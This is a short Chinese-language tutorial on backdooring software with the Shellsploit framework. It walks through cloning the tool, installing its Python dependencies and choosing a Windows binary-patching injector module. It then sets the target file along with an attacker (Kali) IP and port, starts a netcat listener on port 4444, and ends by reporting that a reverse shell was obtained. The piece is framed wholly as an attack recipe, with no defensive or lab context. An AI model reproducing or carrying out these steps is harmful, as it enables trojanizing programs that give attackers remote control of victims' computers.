利用Shellsploit给软件注入后门

克隆项目

git clone https://github.com/vasco2016/shellsploit-framework

安装依赖

root$ sudo pip install capstone
root$ sudo pip install readline(Not necessary for windows coz preinstalled in shellsploit)
root$ sudo pip install pefile
root$ sudo pip install colorama
root$ sudo pip install pylzma

安装

root$ python setup.py -s/ --setup install 
root$ chmod +x shellsploit.py
root$ ./shellsploit

查看注入模块

show injectors

开始注入

我们选择一个模块注入

use injectors/Windows/BFD/Patching

显示配置项

show options

参数说明

file:要注入的软件（填写路径）
host:kali的ip地址
port:端口

使用nc进行监听

nc -lvp 4444

运行之后成功得到反弹